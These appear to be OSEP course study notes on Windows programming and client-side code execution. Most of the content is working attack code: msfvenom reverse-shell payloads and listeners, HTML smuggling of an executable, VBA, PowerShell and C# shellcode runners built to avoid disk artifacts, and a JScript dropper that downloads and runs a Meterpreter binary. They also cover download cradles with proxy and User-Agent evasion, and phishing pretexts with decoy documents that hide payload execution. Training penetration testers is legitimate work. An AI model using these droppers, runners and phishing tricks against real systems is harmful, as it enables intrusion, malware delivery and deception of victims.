OSEP Course
OSEP Study Notes: Chapters 2 & 3
Chapter 2: Operating System and Programming Theory
2.1 Programming Theory
2.1.1 Programming Language Levels
Compiled vs Interpreted Languages:
- Compiled languages (C, C++): Code converted to binary before execution by CPU
- Interpreted languages (Python, JavaScript, PowerShell): Code parsed and converted at runtime
- Bytecode languages (Java, C#): Compiled to bytecode, executed by virtual machine (.NET, JVM)
- Managed code (.NET languages): Virtual machine provides memory management; Unmanaged code (C/C++) requires manual memory management
Language Hierarchy:
- Low-level: Difficult for humans, tied to hardware, limited features (Assembly)
- x86/x64 architecture: Defines valid opcodes; ARM used on mobile devices
- High-level: Human-readable, portable, access to complexity through object-oriented programming
- C: Relatively low-level but readable; allows inline assembly and direct memory access
- C++: High and low-level features; object-oriented with direct memory management
- Just-in-time (JIT) compilation: Script compiled directly into native code at runtime (browsers)
2.1.2 Programming Concepts
Object-Oriented Paradigm:
- Class: Template for creating objects; contains variables and methods
- Constructor: Special method initializing instance variables; called when object is instantiated
- Methods: Functions performing actions on class variables
- Access modifiers:
public(accessible outside class),private(accessible only inside class)
Example - Class and Constructor:
public class MyClass
{
private int myNumber;
public MyClass(int aNumber)
{
this.myNumber = aNumber;
}
public getNumber()
{
return myNumber;
}
}
Why: Access modifiers enforce encapsulation and security
2.2 Windows Concepts
2.2.1 Windows On Windows (WoW64)
32-bit Applications on 64-bit Windows:
- WoW64 allows 64-bit Windows to execute 32-bit applications with minimal efficiency loss
- Libraries used: Ntdll.dll, Wow64.dll, Wow64Win.dll, Wow64Cpu.dll translate 32-bit to kernel
- 32-bit registry path:
C:\Windows\System32(stores 64-bit programs/DLLs on 64-bit systems) - 32-bit DLL location:
C:\Windows\SysWOW64on 64-bit Windows - Penetration tester consideration: Must match target's bitness when generating shellcode
2.2.2 Win32 APIs
Windows API Basics:
- Pre-built functionality for developers via C-style data types
- Documented on Microsoft MSDN with function prototypes showing argument count, types, and return types
Function Prototype Example:
BOOL GetUserNameA(
LPSTR lpBuffer,
LPDWORD pcBuffer
);
Key Data Types:
- LPSTR: Pointer to character array (ASCII string)
- LPWSTR: Unicode character array (wide char)
- DWORD: 32-bit unsigned integer
- LPVOID: Generic pointer
- BOOL: Boolean return value
ASCII vs Unicode APIs:
- Suffix "A" (GetUserNameA): ASCII version
- Suffix "W" (GetUserNameW): Unicode version; many Win32 APIs available in both
- UTF-16: Microsoft's term for Unicode; APIs use
LPWSTRfor wide chars
Why used in exploitation: Direct memory access, process control, DLL injection
2.2.3 Windows Registry
Registry Overview:
- Database of keys with associated values; hierarchical structure using subkeys
- Registry hives at root: Multiple divisions containing system/application data
- HKEY_CURRENT_USER (HKCU): User-specific data
- HKEY_LOCAL_MACHINE (HKLM): System-wide data
- HKEY_USERS: All user registry hives
- Wow64Node: 32-bit registry settings on 64-bit systems
Key Insight:
- HKCU is writable by current user; HKLM requires admin privileges
- Registry edited via Win32 APIs or
regeditGUI - Useful for reconnaissance and defense bypass
Chapter 3: Client Side Code Execution With Office
3.1 Will You Be My Dropper
Attack Overview: Client-side phishing attacks using social engineering to trick users into executing malicious code. Requires victim interaction with file or webpage.
Malware Terminology:
- Trojan: Script or document delivering malicious code
- Dropper: Staged payload with callback function to download second stage
- Payload: First-stage (dropper) or second-stage (full payload) code
- Implant/Agent/Backdoor/Malware: Code running on victim workstation
- Command & Control (C2): Infrastructure for attacker communication via HTTP/HTTPS/DNS
Metasploit Framework:
- Simplifies payload generation and delivery
- Supports staged and non-staged payloads
3.1.1 Staged vs Non-Staged Payloads
Non-Staged Payloads:
- Example:
windows/shell_reverse_tcp - Contains all code needed for reverse shell
- Size: ~324 bytes
- Advantage: No callbacks to attacker; single download
- Disadvantage: Larger footprint, easier antivirus detection
Staged Payloads:
- Example:
windows/shell/reverse_tcp(uses/) - Minimal first stage (7 KB callback); downloads remaining code in target memory
- Size: ~7 KB first stage (compact footprint)
- Advantage: Small initial download, better evasion
- Uses multi/handler to catch callback
Metasploit Commands:
# Generate non-staged payload
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=444 -f exe -o shell.exe
# Generate staged payload
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.119.120 LPORT=443 -f exe -o msfstaged.exe
# Setup multi/handler listener
msfconsole -q
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
msf5 exploit(multi/handler) > set LHOST 192.168.119.120
msf5 exploit(multi/handler) > set LPORT 443
msf5 exploit(multi/handler) > exploit
Why staged payloads: Smaller download and less detection surface
3.1.2 Building Our Droppers
Metasploit Non-Staged Generation:
sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.120 LPORT=444 -f exe -o /var/www/html/shell.exe
Listener Setup:
sudo nc -lnvp 444
Staged Generation (Meterpreter):
sudo msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.119.120 LPORT=443 -f exe -o /var/www/html/msfnonstaged.exe
Multi-handler Module:
msfconsole -q
msf5 use multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https payload => windows/x64/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 192.168.119.120
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit
Size comparison:
- Non-staged: ~207 KB
- Staged: ~7 KB first stage (massive reduction)
Why: Dramatically smaller payload avoids detection
3.1.3 HTML Smuggling
Concept:
Automatically save dropper via HTML5 anchor tag download attribute; user clicks invisible link.
HTML5 Download Attribute:
- Instructs browser to automatically download file when user clicks hyperlink
- Works in modern browsers (Chrome)
Process:
- Encode binary to Base64
- Create JavaScript Blob from byte array
- Create hidden anchor tag with download attribute
- Trigger click() to initiate download
JavaScript Implementation:
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
var file = 'TVqQAAAAAEAAAAA/SAALG...'; // Base64 encoded executable
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'msfstaged.exe';
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
HTML Page:
<html>
<body>
<script>
function base64ToArrayBuffer(base64) {
var binary_string = window.atob(base64);
var len = binary_string.length;
var bytes = new Uint8Array(len);
for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i); }
return bytes.buffer;
}
var file = 'TVqQAA...'; // Base64 encoded executable
var data = base64ToArrayBuffer(file);
var blob = new Blob([data], {type: 'octet/stream'});
var fileName = 'msfstaged.exe';
var a = document.createElement('a');
document.body.appendChild(a);
a.style = 'display: none';
var url = window.URL.createObjectURL(blob);
a.href = url;
a.download = fileName;
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>
Why: Avoids exposing filename/extension; reduces user friction
3.2 Phishing with Microsoft Office
3.2.1 Installing Microsoft Office
Office 2016 Setup:
- Navigate to C:\install\Office2016.img in File Explorer
- Double-click to mount as virtual CD
- Run Setup.exe
- Accept product key prompt
- Accept license agreement
3.2.2 Introduction to VBA
Visual Basic for Applications (VBA):
- Embedded programming language in Microsoft Office
- Executed when macros enabled; default: macros disabled with notification
VBA Macro Basics:
- Access via View > Macros > Create
- Sub: Procedure returning no value; begins with
Subkeyword - Function: Can return values; bracketed with keywords like
Function MyCFunction() - Variables: Declared with
Dimkeyword and datatype
Variable Declaration:
Dim myString As String
Dim myLong As Long
Dim myPointer As LongPtr
Common Data Types:
- String: Unicode string
- Long: 64-bit integer
- LongPtr: Memory pointer
- Translate directly to C data types or native OS types
Flow Control:
- If/Else/Then: Conditional branching
- For loop: Iteration with counter (Next keyword)
Example - If/Else:
Sub MyMacro()
Dim myLong As Long
myLong = 1
If myLong < 5 Then
MsgBox ("True")
Else
MsgBox ("False")
End If
End Sub
Document Events:
- Document_Open(): Macro runs when document opens
- AutoOpen(): Excel equivalent
- Save macros in .doc or .docm format (not .docx)
Trust Center Security:
- File > Options > Trust Center
- Macro Settings: "Disable all macros with notification" (default)
- Protected View: Sandboxes files from Internet
- To enable macros: Click "Enable Content" button
3.3 Keeping Up Appearances
Pretexting: Using false motive to convince victim to enable macros or open attachment without suspicion
3.3.1 Phishing Pretexting
Common Pretexts:
- Job applications, healthcare updates, invoices, HR requests
- Appear encrypted/protected to justify security prompts
- Target organization-specific employees
Decoy Content Strategies:
- Add legitimate logos (RSA, Microsoft, company branding)
- Include GDPR/compliance language for legitimacy
- Match document style and grammar
- Create fake "decrypted" content replacing initial text
Switcheroo Technique:
- Display fake encrypted/protected content initially
- When user enables macros, replace with legitimate-looking CV/document
- Macro silently executes payload while victim sees decoy
Implementation:
- Create decoy document (fake CV, resume, HR material)
- Use AutoText/Quick Parts to store decoy content
- Replace initial text with real content when macro runs
- Execute hidden payload during replacement
3.4 Executing Shellcode in Word Memory
Goal: Execute staged Meterpreter shellcode directly in Word process memory, avoiding disk writes
3.4.1 Calling Win32 APIs from VBA
Declaring Win32 APIs:
- Use Private Declare keyword to link external DLL functions
- Specify function name, DLL location, arguments, return type
- Must declare outside Sub/Function procedures
GetUserName API Example:
C Prototype:
BOOL GetUserNameA(
LPSTR lpBuffer,
LPDWORD pcBuffer
);
VBA Declaration:
Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
Converting C Types to VBA:
- LPSTR:
String(passed ByVal) - LPDWORD/pointer:
Longreference (ByRef) - BOOL:
Longreturn value
Calling GetUserName:
Function MyMacro()
Dim res As Long
Dim MyBuff As String * 256
Dim MySize As Long
MySize = 256
res = GetUserName(MyBuff, MySize)
strlen = InStr(1, MyBuff, vbNullChar) - 1
MsgBox Left(MyBuff, strlen)
End Function
Why: Allows arbitrary Win32 API calls from VBA; foundation for shellcode execution
3.4.2 VBA Shellcode Runner
Key Win32 APIs:
- VirtualAlloc: Allocate RWX memory
- RtlMoveMemory: Copy shellcode to allocated memory
- CreateThread: Execute shellcode at memory address
VirtualAlloc Prototype:
LPVOID VirtualAlloc(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
VBA Declaration:
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
RtlMoveMemory Prototype:
VOID RtlMoveMemory(
VOID UNALIGNED *Destination,
VOID UNALIGNED *Source,
SIZE_T Length
);
VBA Declaration:
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal Destination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
CreateThread Prototype:
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
VBA Declaration:
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ByVal ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
Shellcode Generation:
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f vbapplication
VBA Shellcode Runner Structure:
Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
' Shellcode array (from msfvenom)
buf = Array(232, 130, 0, 0, 0, 96, 137, 229, ...)
' Allocate memory: RWX
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
' Copy shellcode byte-by-byte
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
' Execute thread at shellcode address
res = CreateThread(0, 0, addr, 0, 0, 0)
End Function
Allocation Constants:
- 0x3000: MEM_COMMIT | MEM_RESERVE
- 0x40: PAGE_EXECUTE_READWRITE
Why: Executes shellcode entirely in Word memory; no disk artifacts
3.5 PowerShell Shellcode Runner
Advantage: Avoids VBA disk write artifacts; PowerShell in-memory execution
3.5.1 Calling Win32 APIs from PowerShell
DllImport Approach:
- PowerShell cannot natively call Win32 APIs
- Use C# with DllImportAttribute class
- Use Add-Type keyword to compile C# at runtime
P/Invoke (Platform Invocation Services):
- Translates C data types to C# data types
- Reference: www.pinvoke.net for common translations
Example - MessageBox from User32.dll:
C Prototype:
int MessageBox(
HWND hWnd,
LPCSTR lpText,
LPCSTR lpCaption,
UINT uType
);
P/Invoke Translation (search pinvoke.net):
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);
PowerShell Add-Type Statement:
$User32 = @"
using System;
using System.Runtime.InteropServices;
public class User32 {
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, String text, String caption, int options);
}
"@
Add-Type $User32
[User32]::MessageBox(0, "This is an alert", "MyBox", 0)
Why: Allows Win32 API calls from PowerShell; foundation for shellcode execution
3.5.2 Porting Shellcode Runner to PowerShell
VirtualAlloc & CreateThread in C#:
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
"@
Add-Type $Kernel32
.NET Copy Method:
- Replace VBA's RtlMoveMemory
- Use
System.Runtime.InteropServices.Marshal::Copyto copy managed array to unmanaged memory
Shellcode Generation (ps1 format):
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f psi
PowerShell Shellcode Runner:
$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32", CharSet=CharSet.Ansi)]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
"@
Add-Type $Kernel32
[Byte[]] $buf = 0xfc,0x0e8,0x82...
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.length)
[Kernel32]::CreateThread(0, 0, $addr, 0, 0, 0);
Why: PowerShell in-memory execution avoids VBA disk artifacts
3.6 Keep That PowerShell in Memory
Problem: Add-Type writes C# source code (.cs) and compiled assembly (.dll) to disk, leaving artifacts
Solution: Use reflection to resolve Win32 APIs without Add-Type compilation
Add-Type Compilation Artifacts:
- Visual C# compiler (csc.exe) writes temporary files to disk
- Both source and compiled assembly can be detected
3.6.1 Add-Type Compilation
Process Monitor demonstrates:
- CreateFile operations for .cs temporary files
- CreateFile for .dll compiled assembly
- Reflection-based lookup avoids all disk writes
3.6.2 Leveraging UnsafeNativeMethods
Dynamic Function Lookup:
- Avoid Add-Type keyword; use reflection instead
- Search preloaded assemblies for UnsafeNativeMethods class
- Use GetModuleHandle and GetProcAddress for function resolution
GetModuleHandle/GetProcAddress:
$GetModuleHandle = [System.Reflection.Assembly]::LoadWithPartialName('System.dll').GetType('Microsoft.Win32.UnsafeNativeMethods').GetMethod('GetModuleHandle')
$GetProcAddress = [System.Reflection.Assembly]::LoadWithPartialName('System.dll').GetType('Microsoft.Win32.UnsafeNativeMethods').GetMethod('GetProcAddress')
DelegateType Reflection:
- Create custom delegate type dynamically
- Eliminates need for P/Invoke declarations
- Define parameter types and return type at runtime
Delegate Type Creation:
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
(New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run
).DefineDynamicModule('InMemoryModule', $false).DefineType(
'MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate]
)
$type.DefineConstructor(
'RTSpecialName, HideByShig, Public',
[System.Reflection.CallingConventions]::Standard,
$func
).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod(
'Invoke', 'Public, HideByShig, NewSlot, Virtual',
$delType,
$func
).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
LookupFunc Resolution:
function LookupFunc {
Param ($ModuleName, $FunctionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
$_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll')
}).GetType('Microsoft.Win32.UnsafeNativeMethods')
$assem.GetMethods() | ForEach-Object {
if ($_.Name -eq "GetProcAddress") {
$tmp=$_;
return $tmp[0].Invoke($null, @((GetModuleHandle), $FunctionName))
}
}
}
In-Memory Shellcode Runner (Reflection-based):
function LookupFunc {
Param ($ModuleName, $FunctionName)
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
).GetType('Microsoft.Win32.UnsafeNativeMethods')
$assem.GetMethods() | ForEach-Object {
if ($_.Name -eq "GetProcAddress") {
$tmp=$_;
return $tmp[0].Invoke($null, @((GetModuleHandle), $FunctionName))
}
}
}
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
)
$type = [AppDomain]::CurrentDomain.DefineDynamicAssembly(
(New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run
).DefineDynamicModule('InMemoryModule', $false).DefineType(
'MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate]
)
$type.DefineConstructor(
'RTSpecialName, HideByShig, Public',
[System.Reflection.CallingConventions]::Standard,
$func
).SetImplementationFlags('Runtime, Managed')
$type.DefineMethod(
'Invoke', 'Public, HideByShig, NewSlot, Virtual',
$delType,
$func
).SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
}
[Byte[]] $buf = 0xfc,0x0e8,0x82...
$VirtualAllocAddr = LookupFunc kernel32.dll VirtualAlloc
$VirtualAllocDelegate = getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0, $buf.Length, 0x3000, 0x40);
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $buf.length)
$CreateThreadAddr = LookupFunc kernel32.dll CreateThread
$CreateThreadDelegate = getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
$CreateThread.Invoke(0, 0, $addr, 0, 0, 0)
Why: Completely in-memory; reflection eliminates all disk writes (C# source, .dll assembly)
3.7 Talking To The Proxy
Challenge: Network proxies intercept and log HTTP/HTTPS traffic; must work through proxy or bypass
3.7.1 PowerShell Proxy-Aware Communication
Net.WebClient Default Behavior:
- By default, proxy-aware (uses system proxy settings)
- May not have been case historically (feature may revert)
- Always check for proxy configuration
Proxy Settings Configuration:
- Windows Settings > Network & Internet > Proxy
- Manual proxy: IP address and TCP port
- Stored in registry at:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Testing Proxy-Awareness:
$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run.ps1")
Observing Proxy Requests:
- Monitor Apache access logs for requests from proxy IP (not victim IP)
- Proxy translates victim IP to proxy IP in request headers
Removing Proxy Settings:
$wc = new-object system.net.WebClient
$wc.proxy = $null
$wc.DownloadString("http://192.168.119.120/run.ps1")
Bypass Effect: Request comes directly from victim IP (bypasses proxy if no proxy enforcement)
3.7.2 Fiddling With The User-Agent
User-Agent Header Identification:
- Quickly identifies HTTP client type (browser, PowerShell, etc.)
- Net.WebClient default: Empty or generic string (stands out)
- Real browsers identify: Chrome, Firefox, Internet Explorer, etc.
Customize User-Agent:
$wc = new-object system.net.WebClient
$wc.Headers.Add("User-Agent", "This is my agent, there is no one like it...")
$wc.DownloadString("http://192.168.119.120/run.ps1")
Realistic User-Agent Example:
- Use Google Chrome: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
Why: Blends with legitimate browser traffic in proxy logs
3.7.3 Give Me A SYSTEM Proxy
SYSTEM Integrity Shell Constraint:
- PowerShell running as SYSTEM has no proxy configuration
- Cannot access HKEY_CURRENT_USER registry (not mapped to SYSTEM account)
- Direct HTTP fails if network requires proxy
Solution: Copy SYSTEM Proxy Configuration
- Map HKEY_USERS hive to get user proxy settings
- Extract ProxyServer registry value
- Configure PowerShell download cradle with proxy
Registry Path:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
PowerShell Proxy Registry Lookup:
New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS | Out-Null
# Find valid user SID (non-system, non-service account)
$keys = Get-ChildItem 'HKU:\'
ForEach ($key in $keys) {
if ($key.Name -like "*S-1-5-21*") {
$start = $key.Name.substring(10)
if ($start.substring(0,8) -ne "S-1-5-21") {break}
}
}
# Get proxy server from registry
$proxyAddr = (Get-ItemProperty -Path "HKU:$start\Software\Microsoft\Windows\CurrentVersion\Internet Settings").ProxyServer
Create WebProxy Object:
[system.net.webrequest]::DefaultWebProxy = new-object System.Net.WebProxy("http://$proxyAddr")
$wc = new-object system.net.WebClient
$wc.DownloadString("http://192.168.119.120/run.ps1")
Why: Allows SYSTEM PowerShell to honor proxy configuration
3.8 Wrapping Up
Module Summary:
- Exploited user behavior with social engineering and phishing pretexts
- Implemented client-side execution through Microsoft Office (VBA, PowerShell)
- Executed arbitrary Win32 APIs directly in memory without disk artifacts
- Bypassed network monitoring through proxy awareness and User-Agent spoofing
- Gained shells from both VBA and PowerShell in-memory runners
Key Takeaway: Initial shell is critical first step for penetration testing; subsequent modules cover persistence and privilege escalation.
OSEP Study Notes: Chapters 4-5
Chapter 4: Client Side Code Execution With Windows Script Host
Overview
Windows Script Host (WSH) executes Jscript files (.js extension) without browser sandbox restrictions. This makes it an effective client-side code execution vector. Unlike PowerShell files (.ps1) which execute in Notepad by default, .js files execute directly through WSH.
4.1 Creating a Basic Dropper in Jscript
Theory
Jscript is Microsoft's dialect of JavaScript based on ECMAScript standard. When executed outside a web browser, it has unrestricted access to system APIs through the Windows Script Host Shell. This enables interaction with ActiveX objects and execution of arbitrary commands without vulnerability exploitation.
Key Concepts
- File Type Associations: Windows identifies files by extension, not content. .js files default to WSH execution.
- ActiveX Access: The
ActiveXObjectconstructor allows instantiation of COM objects likeWScript.Shell - Command Execution: Via
WScript.ShellandRunmethod to execute external applications
Basic Command Execution Code
var shell = new ActiveXObject("WScript.Shell")
var res = shell.Run("cmd.exe");
This launches a command prompt. The script execution is immediate when the .js file is double-clicked.
HTTP GET Request Pattern
Use MSXML2.XMLHTTP object for HTTP communication:
var url = "http://192.168.119.120/met.exe"
var Object = WScript.CreateObject('MSXML2.XMLHTTP');
Object.Open('GET', url, false);
Object.Send();
if (Object.Status == 200)
{
var Stream = WScript.CreateObject('ADODB.Stream');
Stream.Open();
Stream.Type = 1; // adTypeBinary
Stream.Write(Object.ResponseBody);
Stream.Position = 0;
Stream.SaveToFile("met.exe", 2);
Stream.Close();
}
var r = new ActiveXObject("WScript.Shell").Run("met.exe");
Why this works: HTTP GET request downloads Meterpreter executable. Stream object (ADODB.Stream) handles binary data. SaveToFile with parameter 2 (adSaveCreateOverWrite) forces overwrite. Finally, WScript.Shell executes the downloaded executable.
4.2 Jscript and C#
Theory
PowerShell has become heavily monitored by security solutions. C# provides equivalent Win32 API access through the .NET framework but avoids PowerShell's detection profile. By embedding compiled C# assemblies within Jscript, we gain memory execution of shellcode runners with lower detection rates than PowerShell alternatives.
4.2.1 Introduction to Visual Studio
Setup for C# development on Windows 10:
Install Samba for code persistence:
sudo apt install samba
sudo mv /etc/samba/smb.conf /etc/samba/smb.conf.old
sudo nano /etc/samba/smb.conf
Samba configuration (/etc/samba/smb.conf):
[visualstudio]
path = /home/kali/data
browseable = yes
read only = no
Create Samba user and start services:
sudo smbpasswd -a kali
sudo systemctl start smbd
sudo systemctl start nmbd
Create shared folder with permissions:
mkdir /home/kali/data
chmod -R 777 /home/kali/data
Why Samba: Allows saving C# code between Windows 10 VM reverts. Access via \\192.168.119.120 in File Explorer.
Create Console App (.NET Framework) project in Visual Studio. Set output to Release mode before compiling to avoid debugging symbols that trigger security software.
4.2.2 DotNetToJscript
Theory: DotNetToJscript converts compiled C# assemblies into Jscript files that can be executed directly. Created by James Forshaw in 2017, it demonstrates executing C# from Jscript without reflection complexity.
Installation:
cd /opt/
sudo git clone https://github.com/tyraniddo/DotNetToJscript.git
cd DotNetToJscript/
sudo pip install -r requirements.txt
Basic compilation and conversion:
- Compile C# project in Visual Studio (x64, Release mode)
- Use DotNetToJscript to convert DLL to Jscript:
C:\Tools> DotNetToJscript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js
Parameters explained:
--lang=Jscript: Output format--ver=v4: .NET Framework version 4.0-o: Output file (without extension auto-added)
The generated Jscript file contains:
- Base64-encoded binary blob of the compiled assembly
- Helper functions:
setversion(),debug(),base64ToStream() - Deserialization logic using
BinaryFormatter - Dynamic invocation via
DynamicInvokeandCreateInstance
4.2.3 Win32 API Calls From C#
Theory: Use DllImport attribute to declare P/Invoke Win32 API signatures. This allows direct API calling without reflection overhead that characterizes PowerShell approaches.
Lookup API signatures on www.pinvoke.net. Example for MessageBoxA:
using System.Runtime.InteropServices;
[DllImport("user32.dll", CharSet = CharSet.Auto)]
public static extern int MessageBox(IntPtr hWnd, string text, string caption, int options);
static void Main(string[] args)
{
MessageBox(IntPtr.Zero, "This is my text", "This is my caption", 0);
}
Why this works: DllImport enables direct Win32 API invocation without System.Reflection.InteropServices complexity. CharSet=CharSet.Auto handles character encoding automatically.
4.2.4 Shellcode Runner in C#
Core pattern using three Win32 APIs:
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
Complete execution pattern:
byte[] buf = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xf8... };
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
Why pattern works: VirtualAlloc allocates RWX memory. Marshal.Copy copies shellcode. CreateThread executes from allocated address. WaitForSingleObject waits indefinitely (0xFFFFFFFF) for thread completion.
4.2.5 Jscript Shellcode Runner
Modify ExampleAssembly project in DotNetToJscript:
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
[ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public TestClass()
{
byte[] buf = new byte[626] { 0xfc,0x48,0x83,0xe4,0xf0,0xf8... };
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
}
After compilation, compile DLL with x64 platform, then convert:
C:\Tools> DotNetToJscript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js
Double-click the .js file to execute shellcode directly in memory. The entire assembly loads and executes without touching disk during execution.
4.2.6 SharpShooter
SharpShooter is an automated payload generation framework for converting C# assemblies into multiple formats (Jscript, VBScript, HTA, Office macros). Automates the DotNetToJscript process and adds HTML smuggling capabilities.
Installation on Kali:
cd /opt/
sudo git clone https://github.com/mdsecactivebreach/SharpShooter.git
cd SharpShooter/
sudo pip install -r requirements.txt
Generate Meterpreter reverse payload:
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt
